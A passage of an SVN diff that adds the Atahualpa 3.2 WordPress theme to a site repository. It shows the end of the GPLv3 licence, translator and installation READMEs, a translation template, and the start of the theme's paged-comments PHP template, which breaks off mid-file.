+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/README-languages-TRANSLATORS.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/README-languages-TRANSLATORS.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/README-languages-TRANSLATORS.txt	(revision 44)
@@ -0,0 +1,102 @@
+
+###############################################################
+#                                                             #
+#       BEFORE STARTING A TRANLASTION PLEASE READ             #
+#                                                             #
+#     http://forum.bytesforall.com/showthread.php?t=82        #
+#        (If the URL has changed please look                  #
+#         around a bit at forum.bytesforall.com               #
+#                                                             #
+#         YOUR LANGUGAE MAY ALREADY BE DONE                   #
+#                                                             #
+###############################################################
+
+
+Please post your translations in that thread and also post or PM
+me a URL/link text for a credit link
+
+
+HOW TO:
+
+1) Download and install http://www.poedit.net/
+
+2) In PoEdit:
+
+"New catalog from pot file", choose "atahualpa.pot"
+
+3) Fill out all "Project Info" except "plural forms", Example:
+"Atahualpa Deutsch" or similar, Your name, Your email, German, Germany, UTF-8, UTF-8
+
+The other two tabs (paths, keywords) should not be required
+
+4) Save as "de_DE.po" (or, whatever the Wordpress extension for the given language is: 
+See http://codex.wordpress.org/WordPress_Localization
+
+With PoEdit's default setting this would also create a "de_DE.mo" along with the 
+"de_DE.po" file. "de_DE.mo" is the compiled file that would be included with the theme.
+Attach that .mo file in a post at forum.bytesforall.com or send it via email to the 
+address in the atahualpa.pot file
+
+Send / attach the .po file as well. Sometimes I have to do small changes to the 
+original theme, and may have to do the same changes in the language files. 
+For instance, line numbers may change.
+
+5) Translate and click "Save" before closing PoEdit. PRESERVE SPACES:
+" text " should become " yourtext " and not "yourtext"
+
+6) Unlikely but just in case:
+
+Open de_DE.po and make sure the terms don't have paths from your local computer such as
+#: C:\wordpress\theme-translations\atahualpa3\_atahualpa3.1.7/comments-paged.php:3
+
+It should be more like this:
+#: comments-paged.php:3
+
+You can edit the xx_XX.po file in an text editor, too.
+
+
+Currently existing languages (This list is probably outdated, please check
+the forum thread at the top of this file):
+
+de_DE - Deutsch: <a href="http://www.lelei.de/">Christian Hans</a>
+
+hu_HU.mo - Hungarian - Magyar: <a href="http://www.sakraft.hu/">FYGureout</a>
+
+po_PO.mo - Portuguese: <a href="http://www.bergspot.com/">André Bergonse</a>
+
+cz_CZ.mo - Czech: <a href="http://blog.rudice.cz/">Pepawo</a>
+
+si_SI.mo - Slovenian: <a href="http://www.fama.eu/">Franci Humerca</a>
+
+tr_TR.mo - Turkish: <a href="http://www.mentalmasturbasyon.com/">Mental Masturbasyon</a>
+
+fr_FR.mo - French: <a href="http://tomne.free.fr/">Michael Zapata</a>
+
+fr_FR_2.mo - French (Altern. Version): <a href="http://www.wolforg.eu/">Wolforg</a>
+
+pl_PL.mo - Polish: <a href="http://agard.wordpress.com">Agard Khaardin</a>
+
+nl_NL.mo - Dutch: Jos Tiel Groenestege
+
+bg_BG.mo - Bulgarian: <a href="http://blogs.hostbg.biz/Veselin/">Veselin Dimitrov</a>
+
+it_IT.mo - Italian: <a href="http://gidibao.net/">Gianni Diurno</a>
+
+vi.mo - Vietnamese: <a href="http://www.anbinh.info/blog/">Teddy Bear</a> 
+  (Depending on whether your core WordPress locale is vi_VN or vi you might 
+  have to either change the Wordpress vi_VN.mo to vi.mo or change the Atahualpa 
+  vi.mo to vi_VN.mo. They should be both either vi.mo or vi_VN.mo)
+  
+ja_JP.mo - Japanese: <a href="http://www.ounziw.com/">Fumito Mizuno</a>
+  You may have to change this to ja.mo
+
+ja_JP_2.mo - Japanese (Altern. Version): nasa9084
+  You may have to change this to ja.mo
+ 
+es_ES.mo - Spanish: <a href="http://aves.denordelta.com.ar/">Javier Vasquez</a>
+
+
+
+
+
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/README-languages-USERS.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/README-languages-USERS.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/README-languages-USERS.txt	(revision 44)
@@ -0,0 +1,63 @@
+Some language files exist twice: fr_FR_2.mo is an alternative version
+made by another translator. The sole reason why one translation was made
+the "default" version (xx_XX.mo) and another one the "alternative" 
+version (xx_XX_w2.mo) is that the translator of the default version submitted
+his version first. If you do not like the default xx_XX.mo, rename it
+to xx_XX_alt.mo or something, and rename the alternative xx_XX_2.mo to 
+xx_XX.mo to make it your default version.
+
+For some languages it is not quite clear which locale should be used as
+per http://codex.wordpress.org/WordPress_Localization
+- Vietnamese could be vi or vi_VN
+- Japanese could be ja or ja_JP
+If the file names provided with the theme doesn't work, try changing the
+file name to the other version (ja vs. ja_JP, etc.), and/or changing the 
+WordPress locale to the file name. Usually the WordPress locale and theme 
+translation file name should match.
+
+
+For more info and updated translation files vsit
+http://forum.bytesforall.com/showthread.php?t=82
+
+
+Currently existing languages (This list is probably outdated, please check
+the forum thread at the top of this file):
+
+de_DE - Deutsch: <a href="http://www.lelei.de/">Christian Hans</a>
+
+hu_HU.mo - Hungarian - Magyar: <a href="http://www.sakraft.hu/">FYGureout</a>
+
+po_PO.mo - Portuguese: <a href="http://www.bergspot.com/">André Bergonse</a>
+
+cz_CZ.mo - Czech: <a href="http://blog.rudice.cz/">Pepawo</a>
+
+si_SI.mo - Slovenian: <a href="http://www.fama.eu/">Franci Humerca</a>
+
+tr_TR.mo - Turkish: <a href="http://www.mentalmasturbasyon.com/">Mental Masturbasyon</a>
+
+fr_FR.mo - French: <a href="http://tomne.free.fr/">Michael Zapata</a>
+
+fr_FR_2.mo - French (Altern. Version): <a href="http://www.wolforg.eu/">Wolforg</a>
+
+pl_PL.mo - Polish: <a href="http://agard.wordpress.com">Agard Khaardin</a>
+
+nl_NL.mo - Dutch: Jos Tiel Groenestege
+
+bg_BG.mo - Bulgarian: <a href="http://blogs.hostbg.biz/Veselin/">Veselin Dimitrov</a>
+
+it_IT.mo - Italian: <a href="http://gidibao.net/">Gianni Diurno</a>
+
+vi.mo - Vietnamese: <a href="http://www.anbinh.info/blog/">Teddy Bear</a> 
+  (Depending on whether your core WordPress locale is vi_VN or vi you might 
+  have to either change the Wordpress vi_VN.mo to vi.mo or change the Atahualpa 
+  vi.mo to vi_VN.mo. They should be both either vi.mo or vi_VN.mo)
+  
+ja_JP.mo - Japanese: <a href="http://www.ounziw.com/">Fumito Mizuno</a>
+  You may have to change this to ja.mo
+
+ja_JP_2.mo - Japanese (Altern. Version): nasa9084
+  You may have to change this to ja.mo
+  
+es_ES.mo - Spanish: <a href="http://aves.denordelta.com.ar/">Javier Vasquez</a>
+ 
+ 
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/README.txt	(revision 44)
@@ -0,0 +1,222 @@
+Wordpress Theme "Atahualpa" version 3.2
+
+
+#####################################################################
+
+INSTALLATION:
+
+#####################################################################
+
+1. Extract the file "atahualpa3.zip" on your desktop computer,
+i.e. with WinZip or 7-zip
+
+
+#####################################################################
+
+2. Upload the complete folder "atahualpa3" with its contents to
+your web hosting account to the directory
+/your wordpress-install/wp-content/themes/
+so the final destination of the "atahualpa3" folder becomes:
+/your wordpress-install/wp-content/themes/atahualpa3/
+You will need a "FTP Client" Software for this
+
+#####################################################################
+
+3. Activate Atahualpa3 by clicking on its name or screenshot at:
+
+WP 2.3 and older: 
+Your Blog -> Site Admin -> Presentation -> Themes
+
+WP 2.5 - 2.6: 
+Your Blog -> Site Admin -> Design -> Themes
+
+WP 2.7 and newer: 
+Your Blog -> Site Admin -> Appearance -> Themes
+
+From WP 2.5 on you'll have to click on "Activate [Theme Name]" 
+after you selected the theme. In older version the theme will be
+activated without this step.
+
+If you have no "Site Admin" link anywhere on your blog, try
+http://www.your-domain.com/wp-admin/
+If you've installed WordPress in a subfolder such as "blog", it would
+be http://www.your-domain.com/blog/wp-admin/
+
+#####################################################################
+
+4. Reload you blog homepage and see if the theme is active. If not, 
+repeat the steps above or post at http://forum.bytesforall.com/
+
+If it looks broken, it may be a matter of setting the theme options.
+If the sidebars look empty, you may need to add widgets. 
+
+#####################################################################
+
+5. Configure the theme at
+
+WP 2.3 and older: 
+Your Blog -> Site Admin -> Presentation -> Atahualpa Theme Options
+
+WP 2.5 - 2.6: 
+Your Blog -> Site Admin -> Design -> Atahualpa Theme Options
+
+WP 2.7 and newer: 
+Your Blog -> Site Admin -> Appearance -> Atahualpa Theme Options
+
+#####################################################################
+
+6. The theme will automatically add 4 additional widgets to the list of available widgets:
+
+BFA Recent Comments
+An alternative to the default "Recent Comments" widget
+
+BFA Popular Posts
+Lists the posts with the most comments
+
+BFA Popular in Cat
+Lists the posts with the most comments, in the given category. Will only appear on category pages.
+
+BFA Subscribe
+Provides a Feedburner "Subscribe by Email" form, plus Posts and
+Comments RSS links & buttons
+
+A widget is a content block that you can drag and drop into one
+of the sidebars. All widgets, the 4 BFA widgets and the default 
+WordPress widgets, can be found at:
+
+WP 2.2 - 2.3: 
+Your Blog -> Site Admin -> Presentation -> Widgets
+
+WP 2.5 - 2.6: 
+Your Blog -> Site Admin -> Design -> Widgets
+
+WP 2.7 and newer: 
+Your Blog -> Site Admin -> Appearance -> Widgets
+ 
+#####################################################################
+
+7. OPTIONAL: Install additional plugins to enhance your blog
+
+Atahualpa3 should work with just about any plugin. Besides that it 
+has improved plug & play support for these plugins:
+
+WP-PageNavi
+http://wordpress.org/extend/plugins/wp-pagenavi/
+
+WP-Print
+http://wordpress.org/extend/plugins/wp-print/
+
+WP-Email
+http://wordpress.org/extend/plugins/wp-email/
+
+WP-PostViews
+http://wordpress.org/extend/plugins/wp-postviews/
+
+WP-PostRatings
+http://wordpress.org/extend/plugins/wp-postratings/
+
+Sociable
+http://wordpress.org/extend/plugins/sociable/
+Go to the settings page at Settings -> Sociable and 
+uncheck all boxes in the sections "Position:" and "Use CSS:"
+
+LMB^Box Comment Quicktags
+http://wordpress.org/extend/plugins/lmbbox-comment-quicktags/
+
+Optional: Edit lmbbox-comment-quicktags.php: 
+1) To remove the link "Quicktags", delete the line 243
+<a href="http://codex.wordpress.org/index.php/Write_Post_SubPanel#Quicktags" title="Help With Quicktags">Quicktags</a>:
+2) To fix a not validating tag, change line 276 
+<script type="text/javascript" language="javascript" src="<?php echo get_settings('siteurl'); ?>/wp-content/plugins/lmbbox-comment-quicktags.php"></script>
+to
+<script type="text/javascript" src="<?php echo get_settings('siteurl'); ?>/wp-content/plugins/lmbbox-comment-quicktags.php"></script>
+
+Subscribe to Comments
+http://wordpress.org/extend/plugins/subscribe-to-comments/
+
+Paged Comments (not required in WP 2.7+ because paged comments are a core Wordpress feature now)
+http://wordpress.org/extend/plugins/paged-comments/
+
+CommentLuv
+http://wordpress.org/extend/plugins/commentluv/
+
+Get Recent Comments
+http://wordpress.org/extend/plugins/get-recent-comments/
+
+
+Additionally, Atahualpa3 has been tested with
+
+Akismet
+http://wordpress.org/extend/plugins/akismet/
+(this plugin should already be available in your blog)
+Also requires http://wordpress.com/api-keys/
+
+WP Cache 2
+http://wordpress.org/extend/plugins/wp-cache/
+This is easier to install than WP Super Cache
+
+WP Super Cache
+http://wordpress.org/extend/plugins/wp-super-cache/
+This requires that you use Permalinks
+
+WP-Syntax
+http://wordpress.org/extend/plugins/wp-syntax/
+
+WPG2
+http://wordpress.org/extend/plugins/wpg2/
+
+Nextgen Gallery
+http://wordpress.org/extend/plugins/nextgen-gallery/
+
+Feedburner Feedsmith
+http://www.google.com/support/feedburner/bin/answer.py?answer=78483&topic=13252
+
+Should also work with
+All in one SEO (many Atahualpa users are using it)
+and other SEO plugins
+
+
+#####################################################################
+
+- Atahualpa3 has no page.php, single.php, archive.php, archives.php
+This may confuse a plugin that expects to put something into one of 
+these files
+
+- The actual CSS styles for Atahualpa3 are located in style.css and header.php
+After you're totally done with all your customizations, you could view the source
+code of your site in the browser, cut the CSS rules from the header section, and paste them at the 
+bottom of style.css. Then remove the dynamic CSS part from header.php. That would save around 8-12 kbyte per pageview.
+
+Please note that images in CSS (i.e. background images) must be referenced like this 
+- in style.css: url(images/myimage.gif) works
+- in header.php: must be url(/wp-content/themes/atahualpa3/images/myimage.gif) or
+url(http://www.yoursite.com/wp-content/themes/atahualpa3/images/myimage.gif).
+url(images/myimage.gif) will NOT work in header.php. Whenever you reference an image via the 
+theme options (by putting CSS rules into one of the many textareas in the theme options area)
+you must reference the image as shown in the examples for header.php (because dynamic CSS
+will appear in header.php).
+
+#####################################################################
+
+
+LICENSE:
+
+    "Atahualpa" is a WordPress theme
+    Copyright (C) 2008  BFA Webdesign, www.BytesForAll.com
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+
+
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/atahualpa.pot
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/atahualpa.pot	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/atahualpa.pot	(revision 44)
@@ -0,0 +1,302 @@
+# This file is distributed under the same license as the Atahualpa package.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: Atahualpa 3\n"
+"Report-Msgid-Bugs-To: lmmmuc@gmail.com\n"
+"POT-Creation-Date: 2008-12-27 11:16+0100\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: comments-paged.php:3
+#: comments.php:3
+#: legacy.comments.php:3
+msgid "Please do not load this page directly. Thanks!"
+msgstr ""
+
+#: comments-paged.php:9
+#: comments.php:5
+#: legacy.comments.php:7
+msgid "This post is password protected. Enter the password to view comments."
+msgstr ""
+
+#: comments-paged.php:29
+#: comments.php:22
+#: legacy.comments.php:26
+msgid "No comments yet to "
+msgstr ""
+
+#: comments-paged.php:29
+#: comments.php:22
+#: legacy.comments.php:26
+msgid "1 comment to "
+msgstr ""
+
+#: comments-paged.php:29
+#: comments.php:22
+#: legacy.comments.php:26
+#, php-format
+msgid "% comments to "
+msgstr ""
+
+#: comments-paged.php:35
+#: comments-paged.php:141
+#: index.php:150
+msgid "Pages:"
+msgstr ""
+
+#: comments-paged.php:61
+#: legacy.comments.php:59
+msgid "Gravatar"
+msgstr ""
+
+#: comments-paged.php:75
+#: legacy.comments.php:73
+#: functions/bfa_comment_walker.php:109
+msgid "Your comment is awaiting moderation."
+msgstr ""
+
+#: comments-paged.php:82
+#: comments-paged.php:118
+#: legacy.comments.php:80
+#: legacy.comments.php:121
+#: functions/bfa_comment_walker.php:114
+#, php-format
+msgid "%1$s at %2$s"
+msgstr ""
+
+#: comments-paged.php:82
+#: comments-paged.php:118
+#: legacy.comments.php:80
+#: legacy.comments.php:121
+#: functions/bfa_comment_walker.php:114
+msgid "F jS, Y"
+msgstr ""
+
+#: comments-paged.php:89
+#: comments-paged.php:121
+#: legacy.comments.php:87
+#: legacy.comments.php:124
+msgid "Edit"
+msgstr ""
+
+#: comments-paged.php:162
+#: comments.php:169
+#: legacy.comments.php:164
+msgid "Comments are closed."
+msgstr ""
+
+#: comments-paged.php:173
+#: comments.php:191
+#: legacy.comments.php:175
+msgid "Leave a Reply"
+msgstr ""
+
+#: comments-paged.php:177
+#: comments.php:183
+#: legacy.comments.php:179
+#, php-format
+msgid "You must be %slogged in</a> to post a comment."
+msgstr ""
+
+#: comments-paged.php:188
+#: comments.php:202
+#: legacy.comments.php:190
+#, php-format
+msgid "Logged in as %s."
+msgstr ""
+
+#: comments-paged.php:189
+#: comments.php:203
+#: legacy.comments.php:191
+msgid "Log out of this account"
+msgstr ""
+
+#: comments-paged.php:189
+#: comments.php:203
+#: legacy.comments.php:191
+msgid "Logout &raquo;"
+msgstr ""
+
+#: comments-paged.php:196
+#: comments.php:210
+#: legacy.comments.php:198
+msgid "author"
+msgstr ""
+
+#: comments-paged.php:196
+#: comments.php:210
+#: legacy.comments.php:198
+msgid "Name "
+msgstr ""
+
+#: comments-paged.php:196
+#: comments-paged.php:200
+#: comments.php:210
+#: comments.php:214
+#: legacy.comments.php:198
+#: legacy.comments.php:202
+msgid "(required)"
+msgstr ""
+
+#: comments-paged.php:200
+#: comments.php:214
+#: legacy.comments.php:202
+msgid "email"
+msgstr ""
+
+#: comments-paged.php:200
+#: comments.php:214
+#: legacy.comments.php:202
+msgid "Mail (will not be published) "
+msgstr ""
+
+#: comments-paged.php:204
+#: comments.php:218
+#: legacy.comments.php:206
+msgid "url"
+msgstr ""
+
+#: comments-paged.php:204
+#: comments.php:218
+#: legacy.comments.php:206
+msgid "Website"
+msgstr ""
+
+#: comments-paged.php:211
+#: comments.php:225
+#: legacy.comments.php:213
+msgid "You can use %1$sthese HTML tags</a>"
+msgstr ""
+
+#: comments-paged.php:220
+#: comments.php:234
+#: legacy.comments.php:222
+msgid "Submit Comment"
+msgstr ""
+
+#: comments.php:69
+#: comments.php:84
+#: comments.php:100
+msgid " &middot; Reply"
+msgstr ""
+
+#: comments.php:70
+#: comments.php:85
+#: comments.php:101
+msgid "Log in to Reply"
+msgstr ""
+
+#: comments.php:191
+#, php-format
+msgid "Leave a Reply to %s"
+msgstr ""
+
+#: comments.php:194
+msgid "Cancel"
+msgstr ""
+
+#: footer.php:89
+#: footer.php:95
+msgid " queries. "
+msgstr ""
+
+#: footer.php:89
+#: footer.php:95
+msgid " seconds."
+msgstr ""
+
+#: index.php:282
+msgid "Not Found"
+msgstr ""
+
+#: index.php:283
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr ""
+
+#: functions/bfa_calendar_widget.php:13
+msgid "A calendar of your blog's posts"
+msgstr ""
+
+#: functions/bfa_calendar_widget.php:14
+#: functions/bfa_calendar_widget.php:15
+msgid "Calendar"
+msgstr ""
+
+#: functions/bfa_comment_walker.php:106
+#, php-format
+msgid "%s"
+msgstr ""
+
+#: functions/bfa_comment_walker.php:116
+msgid " &middot; Edit"
+msgstr ""
+
+#: functions/bfa_footer.php:14
+msgid "Login"
+msgstr ""
+
+#: functions/bfa_footer.php:16
+msgid "Logout"
+msgstr ""
+
+#: functions/bfa_footer.php:25
+msgid "Register"
+msgstr ""
+
+#: functions/bfa_footer.php:35
+msgid "Site Admin"
+msgstr ""
+
+#: functions/bfa_meta_tags.php:37
+msgid "l, F jS, Y"
+msgstr ""
+
+#: functions/bfa_meta_tags.php:39
+msgid "F Y"
+msgstr ""
+
+#: functions/bfa_meta_tags.php:45
+msgid "404 - Page not found"
+msgstr ""
+
+#: functions/bfa_recent_comments.php:161
+#: functions/bfa_recent_comments.php:163
+#: functions/bfa_recent_comments.php:165
+#: functions/bfa_recent_comments.php:167
+msgid "On: "
+msgstr ""
+
+#: functions/bfa_recent_comments.php:169
+#: functions/bfa_recent_comments.php:171
+#: functions/bfa_recent_comments.php:173
+#: functions/bfa_recent_comments.php:175
+msgid " on: "
+msgstr ""
+
+#: functions/bfa_search_widget.php:13
+msgid "Search for:"
+msgstr ""
+
+#: functions/bfa_search_widget.php:15
+#: functions/bfa_search_widget.php:23
+#: functions/bfa_search_widget.php:24
+msgid "Search"
+msgstr ""
+
+#: functions/bfa_search_widget.php:22
+msgid "A search form for your blog"
+msgstr ""
+
+#: functions/bfa_text_widget.php:90
+msgid "Arbitrary text or HTML"
+msgstr ""
+
+#: functions/bfa_text_widget.php:92
+msgid "Text"
+msgstr ""
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/comments-paged.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/comments-paged.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/comments-paged.php	(revision 44)
@@ -0,0 +1,232 @@
+<?php // Do not delete these lines
+	if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments-paged.php' == basename($_SERVER['SCRIPT_FILENAME']))
+		die (__('Please do not load this page directly. Thanks!','atahualpa'));
+
+	if (!empty($post->post_password)) { // if there's a password
+		if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) {  // and it doesn't match the cookie
+			?>
+
+			<p class="nocomments"><?php _e('This post is password protected. Enter the password to view comments.','atahualpa'); ?></p>
+
+			<?php
+			return;
+		}
+	}
+
+	/* This variable is for alternating comment background */
+	$oddcomment = 'class="alt clearfix" ';
+
+global $options;
+foreach ($options as $value) {
+if (get_option( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_option( $value['id'] ); } }
+?>
+<!-- You can start editing below: -->
+
+<?php // If there are any comments
+if ($comments) : ?>
+	
+	<h3 id="comments"><?php // Comment Area Title 
+	comments_number(__('No comments yet to ', 'atahualpa'), __('1 comment to ', 'atahualpa'), __('% comments to ', 'atahualpa')); echo get_the_title();
+	?>
+	</h3>
+	
+	<!-- Comment page numbers -->
+	<?php if ($paged_comments->pager->num_pages() > 1): ?>
+	<p class="comment-page-numbers"><?php _e('Pages:','atahualpa'); ?> <?php paged_comments_print_pages(); ?></p>
+	<?php endif; ?>
+	<!-- End comment page numbers -->
+	
+	<!-- Comment List -->
+	<ol class="commentlist">
+		
+
+		<?php 		
+		// Do this for every comment -->
+		foreach ($comments as $comment) : 
+		if ( ($bfa_ata_separate_trackbacks == "Yes" AND get_comment_type() == 'comment') OR $bfa_ata_separate_trackbacks == "No" ) {
+		?>
+
+		<li <?php if ( $bfa_ata_author_highlight == "Yes" AND $comment->comment_author_email == get_the_author_email() ) { echo 'class="authorcomment clearfix" '; } else { echo $oddcomment; } ?>id="comment-<?php comment_ID() ?>">
+			
+			<?php // GRAVATAR
+			if (get_comment_type() == 'comment') {
+			if ($bfa_ata_avatar_size != 0 AND $bfa_ata_avatar_size != "") {
+			if (function_exists('get_avatar')) {
+			echo get_avatar($comment -> comment_author_email, $size=$bfa_ata_avatar_size);} 
+			# if this WP version has no gravatars, use the theme's custom gravatar function:
+			else { if(!empty($comment -> comment_author_email)) {
+				$md5 = md5($comment -> comment_author_email);
+				$default = urlencode(get_bloginfo('template_directory') . '/images/no-gravatar.gif');
+				#echo "<img class=\"avatar\" src='http://www.gravatar.com/avatar.php?gravatar_id=$md5&size=" . $bfa_ata_avatar_size . "&default=$default' alt='" . __('Gravatar','atahualpa') . "' />";
+				echo '<img class="avatar" src="http://www.gravatar.com/avatar.php?gravatar_id='.$md5.'&size='.$bfa_ata_avatar_size.'&default='.$default.' alt="'. __('Gravatar','atahualpa') .'" />';
+				}
+			}
+			}
+			}
+			?>
+		
+			<div class="comment-number"><a href="<?php echo paged_comments_url('comment-'.get_comment_ID()); ?>" title=""><?php echo $comment_number; $comment_number += $comment_delta; ?></a></div>
+			
+			<span class="authorname"><?php // Comment Author
+			comment_author_link() ?></span>
+			
+			<?php // Awaiting Moderation Text
+			if ($comment->comment_approved == '0') : 
+			_e('Your comment is awaiting moderation.','atahualpa'); 
+			endif; ?>
+		
+			<br />
+			
+			<span class="commentdate">
+			<?php // Comment Date and Time
+			printf(__('%1$s at %2$s'), get_comment_date(__('F jS, Y','atahualpa')),  get_comment_time()) ?>
+			</span>
+			
+			<?php // Comment Text
+			comment_text() ?>
+			
+			<?php // Edit Comment Link
+			edit_comment_link(__('Edit','atahualpa'),'<span class="editcomment">','</span>'); ?>
+			
+
+		</li>
+
+		<?php $oddcomment = ( $oddcomment == 'class="clearfix" ' ) ? 'class="alt clearfix" ' : 'class="clearfix" '; 
+		
+		}
+		endforeach; 
+		// END of "Do this for every comment "
+		?>
+		
+		<!-- Do this for every trackback / pingpack -->
+		<?php  
+		if ($bfa_ata_separate_trackbacks == "Yes") {
+		foreach ($comments as $comment) : 
+		if ( get_comment_type() != 'comment') {
+		?>
+
+		<li <?php echo $oddcomment; ?>id="comment-<?php comment_ID() ?>">
+					
+			<div class="comment-number"><a href="<?php echo paged_comments_url('comment-'.get_comment_ID()); ?>" title=""><?php echo $comment_number; $comment_number += $comment_delta; ?></a></div>
+			
+			<?php // Comment Author
+			comment_author_link() ?>:
+			
+			<br />
+			
+			<?php // Comment Date and Time
